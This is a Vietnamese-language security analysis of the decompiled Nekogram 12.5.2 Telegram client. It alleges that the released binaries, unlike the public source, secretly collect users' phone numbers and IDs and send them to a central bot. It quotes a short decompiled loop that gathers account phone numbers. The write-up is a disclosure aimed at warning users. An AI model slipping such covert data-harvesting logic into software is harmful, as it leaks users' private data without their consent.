Phân tích mã nguồn decompiled của Nekogram 12.5.2

Lỗ Hổng: Extra.java#

Mã độc được ẩn giấu trong tệp Extra.java. Mặc dù public GitHub repository hiển thị một phiên bản “sạch” của tệp này, nhưng các tệp nhị phân đã được biên dịch và phát hành công khai lại chứa logic xâm nhập và thu thập dữ liệu. Điều này cho phép ứng dụng thu thập thông tin số điện thoại của người dùng và gửi chúng ra ngoài mà không được sự đồng ý. Sự khác biệt này giữa mã nguồn công khai và tệp nhị phân đã phát hành là một chiến thuật thường thấy trong các ứng dụng có mục đích xấu.

Phân tích:#

1
for (int i2 = 0; i2 < 8; i2++) {
2
    UserConfig userConfig = UserConfig.getInstance(i2);
3
    if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.f) != null) {
4
        mapWithAccounts.put(String.valueOf(currentUser.a), phoneNumber);
5
    }
6
}

Tìm thấy APP_ID: 442495#

Vấn đề trên GitHub để nâng cao nhận thức.

Kết Luận#

Nekogram đang thu thập dữ liệu người dùng riêng tư. Bằng cách gửi số điện thoại và ID người dùng đến một bot tập trung, các nhà phát triển có thể xây dựng một cơ sở dữ liệu và sau đó bán nó cho những người tạo ra các bot OSINT nổi tiếng, điều này phá vỡ khái niệm ẩn danh của Telegram. Việc sử dụng mã hóa và các truy vấn inline cho thấy rõ ràng ý định giấu giếm hành vi này khỏi cả người dùng và các nhà nghiên cứu bảo mật. Hãy luôn chỉ sử dụng ứng dụng Telegram chính thức nếu bạn không muốn dữ liệu cá nhân của mình bị rò rỉ!